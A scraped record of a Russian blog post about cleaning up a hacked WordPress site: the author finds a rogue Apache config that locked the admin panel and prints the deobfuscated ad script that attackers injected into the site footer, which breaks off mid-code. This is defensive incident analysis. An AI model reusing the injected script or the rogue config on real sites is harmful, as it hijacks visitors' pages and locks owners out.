{"id":197178,"date":"2013-10-11T15:53:03","date_gmt":"2013-10-11T11:53:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=197178"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=197178","title":{"rendered":"<span class=\"post_title\">\u041a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0430\u0439\u0442 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u043e\u0439 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 \u0438 \u043a\u0430\u043a \u044f \u0441 \u044d\u0442\u0438\u043c \u0431\u043e\u0440\u043e\u043b\u0441\u044f<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440!<\/p>\n<p>  \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0435\u0439 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 WordPress \u0443 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u043b\u043b\u0435\u0433\u0438. \u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0440\u0435\u043a\u043b\u0430\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0434\u043e\u0435\u0434\u043b\u0438\u0432\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0432 \u0443\u0433\u043b\u0443 \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043c\u0435\u0448\u0430\u043b\u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435. \u0422\u0430\u043a\u0436\u0435 \u043d\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 WordPress, \u0441\u0442\u043e\u044f\u043b\u0430 HTTP-\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u043e \u0443\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0443 HTTP-\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0435. \u0415\u0441\u043b\u0438 \u0432\u0430\u0441 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430, \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u0434 \u043a\u0430\u0442.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043e \u0431\u044b\u043b\u043e \u0434\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u0438\u043b\u0438 \u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 wp-login.php, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b header(&#8216;WWW-Authenticate&#8217;), \u0438\u043b\u0438 \u0436\u0435 \u0433\u0434\u0435-\u0442\u043e \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043b\u0435\u0432\u044b\u0439 .htaccess. \u0412\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u044f \u043e\u0442\u043b\u043e\u0436\u0438\u043b \u043d\u0430 \u043f\u043e\u0442\u043e\u043c, \u0442.\u043a. \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u043b\u043e \u0431\u044b \u0432\u0437\u043b\u043e\u043c VDS. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0432\u0440\u0435\u0434\u043d\u044b\u0439 header. \u0417\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u0432\u0448\u0438\u0441\u044c \u043f\u043e ssh \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u044f \u043d\u0430\u0447\u0430\u043b \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043f\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u00abheader(&#8216;WWW\u00bb.<\/p>\n<pre><code class=\"bash\">grep -rwl header('WWW \/var\/www\/mysite.com.ua <\/code><\/pre>\n<p>  \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u043b \u0434\u043e\u043b\u0433\u043e \u0441\u0435\u0431\u044f \u0436\u0434\u0430\u0442\u044c \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0430\u0436 \u043e\u0434\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u043b \u0444\u0430\u0439\u043b wp-app.php \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437 \u044d\u0442\u043e\u0433\u043e header. \u0412\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u0432\u0445\u043e\u0434 \u0432 \u0430\u0434\u043c\u0438\u043d\u043a\u0443. \u041d\u043e \u044d\u0442\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043b\u043e\u0436\u043d\u044b\u043c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u043a\u043e\u0434 \u0431\u044b\u043b \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u043a\u043e\u0434\u0443 \u0441 \u0447\u0438\u0441\u0442\u043e\u0433\u043e WordPress.<\/p>\n<p>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u2014 .htaccess. \u0418 \u043f\u0435\u0440\u0432\u043e\u0435 \u0447\u0442\u043e \u044f \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u2014 AuthType. \u041d\u043e \u0433\u0434\u0435 \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c? \u0421\u043d\u043e\u0432\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043c\u043e\u0439 \u043b\u044e\u0431\u0438\u043c\u044b\u0439 grep:  <\/p>\n<pre><code class=\"bash\">grep -rwl AuthType \/var\/www\/mysite.com.ua <\/code><\/pre>\n<p>  \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0432\u044b\u0434\u0430\u043b. \u0410\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e. \u041d\u043e \u0433\u0434\u0435-\u0442\u043e \u043e\u043d \u0436\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f. \u0422\u043e\u0433\u0434\u0430 \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b \u0441\u0430\u043c\u044b\u0439 \u0445\u0443\u0434\u0448\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u2014 conf.d \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 apache.<br \/>  \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c:  <\/p>\n<pre><code class=\"bash\">grep -rwl AuthType \/etc\/apache2\/ <\/code><\/pre>\n<p>  \u0418 \u0432\u043e\u0442 \u043e\u043d\u043e \u2014 \u0444\u0430\u0439\u043b wp-login.conf. \u0412 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b \u0437\u0430\u0434\u0430\u043d\u044b Rules \u043d\u0430 HTTP-\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e \u0430\u0434\u043c\u0438\u043d\u043a\u0438. \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c apache \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0435. \u041f\u0430\u0440\u043e\u043b\u0438 \u0431\u044b\u043b\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0430\u0434\u043c\u0438\u043d\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u043e.<\/p>\n<p>  \u041e\u0434\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430. \u041d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0449\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0432 \u0442\u0435\u043b\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u043d \u0441\u0442\u0440\u043e\u0433\u043e \u0432 \u0444\u0443\u0442\u0435\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e footer. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0441\u0442\u044c \u0441\u043c\u044b\u0441\u043b \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u043d\u0430 \u044d\u0442\u0443 \u0438\u043b\u0438 \u044d\u0442\u0443 \u0436\u0435:  <\/p>\n<pre><code class=\"php\">echo &quot;Evil Script&quot;; <\/code><\/pre>\n<p>  \u041f\u043e\u0438\u0441\u043a \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0432\u044b\u0434\u0430\u043b. \u0411\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e \u043c\u0435\u0436\u0434\u0443 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0441\u0430\u0439\u0442\u0430 \u0438 \u0435\u0433\u043e \u0431\u0435\u043a\u0430\u043f\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0430\u043a\u043e\u0439 \u043e\u0442\u043b\u0438\u0447\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043a\u0430\u043a Meld. \u041d\u043e \u0438 \u0442\u0443\u0442 \u043d\u0430\u0441 \u0436\u0434\u0430\u043b\u043e \u0440\u0430\u0437\u043e\u0447\u0430\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 diff \u0431\u044b\u043b \u0447\u0438\u0441\u0442\u044b\u043c \u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043d\u0430\u043c\u0435\u043a\u043e\u0432 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043b\u0438\u0431\u043e \u043a\u0430\u043a\u0438\u0445 \u0438\u043d\u043b\u0430\u0439\u043d\u043e\u0432\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0435 \u0431\u044b\u043b\u043e. \u041d\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0436\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f. \u0422\u043e\u0433\u0434\u0430 \u0433\u0434\u0435 \u0438 \u043a\u0430\u043a?<\/p>\n<p>  \u042f \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u0436\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u044c. \u042f \u043e\u0442\u043a\u0440\u044b\u043b PhpStorm \u0438 \u0441\u043e\u0437\u0434\u0430\u043b \u043d\u043e\u0432\u044b\u0439 JS-\u0444\u0430\u0439\u043b. \u0412 \u043d\u0435\u0433\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u0442\u0435\u043b\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b Reformat Code. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0434 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u043e\u043c:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">Evil Script (\u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0441\u0442\u0440\u043e\u043a)<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">var s = void 0, y = !0, z = null, T = !1; (function (r, k, xb) {     function bb(a) {         return\/[\\\\\\&quot;&lt;&gt;\\.;]\/.exec(a) != z && typeof encodeURIComponent != t ? encodeURIComponent(a) : a     }      function U(a, b) {         if (cb) {             var c = b ? &quot;visible&quot; : &quot;hidden&quot;;             V && J(a) ? J(a).style.visibility = c : db(&quot;#&quot; + a, &quot;visibility:&quot; + c)         }     }      function db(a, b, c, d) {         if (!n.c || !n.R) {             var e = u.getElementsByTagName(&quot;head&quot;)[0];             if (e) {                 c = c && &quot;string&quot; == typeof c ? c : &quot;screen&quot;;                 d && (Da = L = z);                 if (!L || Da != c)d = u.createElement(&quot;style&quot;), d.setAttribute(&quot;type&quot;, &quot;text\/css&quot;), d.setAttribute(&quot;media&quot;, c), L = e.appendChild(d), n.c && (n.e && typeof u.styleSheets !=                     t && 0 &lt; u.styleSheets.length) && (L = u.styleSheets[u.styleSheets.length - 1]), Da = c;                 n.c && n.e ? L && typeof L.addRule == M && L.addRule(a, b) : L && typeof u.createTextNode != t && L.appendChild(u.createTextNode(a + &quot; {&quot; + b + &quot;}&quot;))             }         }     }      function la(a) {         var b = n.n;         a = a.split(&quot;.&quot;);         a[0] = parseInt(a[0], 10);         a[1] = parseInt(a[1], 10) || 0;         a[2] = parseInt(a[2], 10) || 0;         return b[0] &gt; a[0] || b[0] == a[0] && b[1] &gt; a[1] || b[0] == a[0] && b[1] == a[1] && b[2] &gt;= a[2] ? y : T     }      function J(a) {         var b = z;         try {             b = u.getElementById(a)         } catch (c) {         }         return b     }      function eb(a) {         var b = J(a);         b && &quot;OBJECT&quot; ==             b.nodeName && (n.c && n.e ? (b.style.display = &quot;none&quot;, function () {             if (4 == b.readyState) {                 var c = J(a);                 if (c) {                     for (var d in c)&quot;function&quot; == typeof c[d] && (c[d] = z);                     c.parentNode.removeChild(c)                 }             } else setTimeout(arguments.callee, 10)         }()) : b.parentNode.removeChild(b))     }      function Ea(a, b, c) {         var d, e = J(c);         if (n.i && 312 &gt; n.i)return d;         if (e)if (typeof a.id == t && (a.id = c), n.c && n.e) {             var f = &quot;&quot;, p;             for (p in a)a[p] != Object.prototype[p] && (&quot;data&quot; == p.toLowerCase() ? b.movie = a[p] : &quot;styleclass&quot; == p.toLowerCase() ? f += ' class\\x3d&quot;' + a[p] + '&quot;' : &quot;classid&quot; != p.toLowerCase() &&                 (f += &quot; &quot; + p + '\\x3d&quot;' + a[p] + '&quot;'));             p = &quot;&quot;;             for (var h in b)b[h] != Object.prototype[h] && (p += '\\x3cparam name\\x3d&quot;' + h + '&quot; value\\x3d&quot;' + b[h] + '&quot; \/\\x3e');             e.outerHTML = '\\x3cobject classid\\x3d&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;' + f + &quot;\\x3e&quot; + p + &quot;\\x3c\/object\\x3e&quot;;             ma[ma.length] = a.id;             d = J(a.id)         } else {             h = u.createElement(M);             h.setAttribute(&quot;type&quot;, na);             for (var j in a)a[j] != Object.prototype[j] && (&quot;styleclass&quot; == j.toLowerCase() ? h.setAttribute(&quot;class&quot;, a[j]) : &quot;classid&quot; != j.toLowerCase() && h.setAttribute(j, a[j]));             for (f in b)b[f] != Object.prototype[f] &&                 &quot;movie&quot; != f.toLowerCase() && (a = h, p = f, j = b[f], c = u.createElement(&quot;param&quot;), c.setAttribute(&quot;name&quot;, p), c.setAttribute(&quot;value&quot;, j), a.appendChild(c));             e.parentNode.replaceChild(h, e);             d = h         }         return d     }      function Fa(a) {         var b = u.createElement(&quot;div&quot;);         if (n.e && n.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(M)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d &lt; c; d++)!(1 == a[d].nodeType && &quot;PARAM&quot; == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));         return b     }      function yb(a) {         if (n.c && n.e && 4 != a.readyState) {             var b =                 u.createElement(&quot;div&quot;);             a.parentNode.insertBefore(b, a);             b.parentNode.replaceChild(Fa(a), b);             a.style.display = &quot;none&quot;;             (function () {                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)             })()         } else a.parentNode.replaceChild(Fa(a), a)     }      function Ga(a, b, c, d) {         oa = y;         Ha = d || z;         fb = {success: T, id: c};         var e = J(c);         if (e) {             &quot;OBJECT&quot; == e.nodeName ? (ea = Fa(e), pa = z) : (ea = e, pa = c);             a.id = gb;             if (typeof a.width == t || !\/%$\/.test(a.width) && 310 &gt; parseInt(a.width, 10))a.width = &quot;310&quot;;             if (typeof a.height == t || !\/%$\/.test(a.height) && 137 &gt;                 parseInt(a.height, 10))a.height = &quot;137&quot;;             u.title = u.title.slice(0, 47) + &quot; - Flash Player Installation&quot;;             d = n.c && n.e ? &quot;ActiveX&quot; : &quot;PlugIn&quot;;             d = &quot;MMredirectURL\\x3d&quot; + G.location.toString().replace(\/&\/g, &quot;%26&quot;) + &quot;\\x26MMplayerType\\x3d&quot; + d + &quot;\\x26MMdoctitle\\x3d&quot; + u.title;             b.s = typeof b.s != t ? b.s + (&quot;\\x26&quot; + d) : d;             n.c && (n.e && 4 != e.readyState) && (d = u.createElement(&quot;div&quot;), c += &quot;SWFObjectNew&quot;, d.setAttribute(&quot;id&quot;, c), e.parentNode.insertBefore(d, e), e.style.display = &quot;none&quot;, function () {                 4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee,                     10)             }());             Ea(a, b, c)         }     }      function Ia() {         return!oa && la(&quot;6.0.65&quot;) && (n.e || n.R) && !(n.i && 312 &gt; n.i)     }      function Ja(a) {         var b = z;         if ((a = J(a)) && &quot;OBJECT&quot; == a.nodeName)typeof a.SetVariable != t ? b = a : (a = a.getElementsByTagName(M)[0]) && (b = a);         return b     }      function Ka() {         var a = P.length;         if (0 &lt; a)for (var b = 0; b &lt; a; b++) {             var c = P[b].id, d = P[b].fa, e = {success: T, id: c};             if (0 &lt; n.n[0]) {                 var f = J(c);                 if (f)if (la(P[b].qa) && !(n.i && 312 &gt; n.i))U(c, y), d && (e.success = y, e.S = Ja(c), d(e)); else if (P[b].O && Ia()) {                     e = {};                     e.data = P[b].O;                     e.width = f.getAttribute(&quot;width&quot;) || &quot;0&quot;;                     e.height =                         f.getAttribute(&quot;height&quot;) || &quot;0&quot;;                     f.getAttribute(&quot;class&quot;) && (e.jb = f.getAttribute(&quot;class&quot;));                     f.getAttribute(&quot;align&quot;) && (e.align = f.getAttribute(&quot;align&quot;));                     for (var p = {}, f = f.getElementsByTagName(&quot;param&quot;), h = f.length, j = 0; j &lt; h; j++)&quot;movie&quot; != f[j].getAttribute(&quot;name&quot;).toLowerCase() && (p[f[j].getAttribute(&quot;name&quot;)] = f[j].getAttribute(&quot;value&quot;));                     Ga(e, p, c, d)                 } else yb(f), d && d(e)             } else if (U(c, y), d) {                 if ((c = Ja(c)) && typeof c.SetVariable != t)e.success = y, e.S = c;                 d(e)             }         }     }      function hb(a) {         if (typeof G.addEventListener != t)G.addEventListener(&quot;load&quot;,             a, T); else if (typeof u.addEventListener != t)u.addEventListener(&quot;load&quot;, a, T); else if (typeof G.attachEvent != t) {             var b = G;             b.attachEvent(&quot;onload&quot;, a);             Y[Y.length] = [b, &quot;onload&quot;, a]         } else if (&quot;function&quot; == typeof G.onload) {             var c = G.onload;             G.onload = function () {                 c();                 a()             }         } else G.onload = a     }      function ib(a) {         V ? a() : qa[qa.length] = a     }      function Z() {         if (!V) {             try {                 var a = u.getElementsByTagName(&quot;body&quot;)[0].appendChild(u.createElement(&quot;span&quot;));                 a.parentNode.removeChild(a)             } catch (b) {                 return             }             V = y;             for (var a = qa.length, c = 0; c &lt; a; c++)qa[c]()         }     }      function jb(a) {         return\/[\\\\\\&quot;&lt;&gt;\\.;]\/.exec(a) !=             z && typeof encodeURIComponent != v ? encodeURIComponent(a) : a     }      function W(a, b) {         if (kb) {             var c = b ? &quot;visible&quot; : &quot;hidden&quot;;             X && K(a) ? K(a).style.visibility = c : lb(&quot;#&quot; + a, &quot;visibility:&quot; + c)         }     }      function lb(a, b, c, d) {         if (!m.c || !m.R) {             var e = l.getElementsByTagName(&quot;head&quot;)[0];             if (e) {                 c = c && &quot;string&quot; == typeof c ? c : &quot;screen&quot;;                 d && (La = N = z);                 if (!N || La != c)d = l.createElement(&quot;style&quot;), d.setAttribute(&quot;type&quot;, &quot;text\/css&quot;), d.setAttribute(&quot;media&quot;, c), N = e.appendChild(d), m.c && (m.e && typeof l.styleSheets != v && 0 &lt; l.styleSheets.length) && (N = l.styleSheets[l.styleSheets.length -                     1]), La = c;                 m.c && m.e ? N && typeof N.addRule == O && N.addRule(a, b) : N && typeof l.createTextNode != v && N.appendChild(l.createTextNode(a + &quot; {&quot; + b + &quot;}&quot;))             }         }     }      function ra(a) {         var b = m.n;         a = a.split(&quot;.&quot;);         a[0] = parseInt(a[0], 10);         a[1] = parseInt(a[1], 10) || 0;         a[2] = parseInt(a[2], 10) || 0;         return b[0] &gt; a[0] || b[0] == a[0] && b[1] &gt; a[1] || b[0] == a[0] && b[1] == a[1] && b[2] &gt;= a[2] ? y : T     }      function K(a) {         var b = z;         try {             b = l.getElementById(a)         } catch (c) {         }         return b     }      function mb(a) {         var b = K(a);         b && &quot;OBJECT&quot; == b.nodeName && (m.c && m.e ? (b.style.display = &quot;none&quot;, function () {             if (4 == b.readyState) {                 var c =                     K(a);                 if (c) {                     for (var d in c)&quot;function&quot; == typeof c[d] && (c[d] = z);                     c.parentNode.removeChild(c)                 }             } else setTimeout(arguments.callee, 10)         }()) : b.parentNode.removeChild(b))     }      function Ma(a, b, c) {         var d, e = K(c);         if (m.i && 312 &gt; m.i)return d;         if (e)if (typeof a.id == v && (a.id = c), m.c && m.e) {             var f = &quot;&quot;, p;             for (p in a)a[p] != Object.prototype[p] && (&quot;data&quot; == p.toLowerCase() ? b.movie = a[p] : &quot;styleclass&quot; == p.toLowerCase() ? f += ' class\\x3d&quot;' + a[p] + '&quot;' : &quot;classid&quot; != p.toLowerCase() && (f += &quot; &quot; + p + '\\x3d&quot;' + a[p] + '&quot;'));             p = &quot;&quot;;             for (var h in b)b[h] != Object.prototype[h] &&             (p += '\\x3cparam name\\x3d&quot;' + h + '&quot; value\\x3d&quot;' + b[h] + '&quot; \/\\x3e');             e.outerHTML = '\\x3cobject classid\\x3d&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;' + f + &quot;\\x3e&quot; + p + &quot;\\x3c\/object\\x3e&quot;;             sa[sa.length] = a.id;             d = K(a.id)         } else {             h = l.createElement(O);             h.setAttribute(&quot;type&quot;, ta);             for (var j in a)a[j] != Object.prototype[j] && (&quot;styleclass&quot; == j.toLowerCase() ? h.setAttribute(&quot;class&quot;, a[j]) : &quot;classid&quot; != j.toLowerCase() && h.setAttribute(j, a[j]));             for (f in b)b[f] != Object.prototype[f] && &quot;movie&quot; != f.toLowerCase() && (a = h, p = f, j = b[f], c = l.createElement(&quot;param&quot;),                 c.setAttribute(&quot;name&quot;, p), c.setAttribute(&quot;value&quot;, j), a.appendChild(c));             e.parentNode.replaceChild(h, e);             d = h         }         return d     }      function Na(a) {         var b = l.createElement(&quot;div&quot;);         if (m.e && m.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(O)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d &lt; c; d++)!(1 == a[d].nodeType && &quot;PARAM&quot; == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));         return b     }      function zb(a) {         if (m.c && m.e && 4 != a.readyState) {             var b = l.createElement(&quot;div&quot;);             a.parentNode.insertBefore(b, a);             b.parentNode.replaceChild(Na(a),                 b);             a.style.display = &quot;none&quot;;             (function () {                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)             })()         } else a.parentNode.replaceChild(Na(a), a)     }      function Oa(a, b, c, d) {         ua = y;         Pa = d || z;         nb = {success: T, id: c};         var e = K(c);         if (e) {             &quot;OBJECT&quot; == e.nodeName ? (fa = Na(e), va = z) : (fa = e, va = c);             a.id = ob;             if (typeof a.width == v || !\/%$\/.test(a.width) && 310 &gt; parseInt(a.width, 10))a.width = &quot;310&quot;;             if (typeof a.height == v || !\/%$\/.test(a.height) && 137 &gt; parseInt(a.height, 10))a.height = &quot;137&quot;;             l.title = l.title.slice(0, 47) + &quot; - Flash Player Installation&quot;;             d = m.c && m.e ? &quot;ActiveX&quot; : &quot;PlugIn&quot;;             d = &quot;MMredirectURL\\x3d&quot; + H.location.toString().replace(\/&\/g, &quot;%26&quot;) + &quot;\\x26MMplayerType\\x3d&quot; + d + 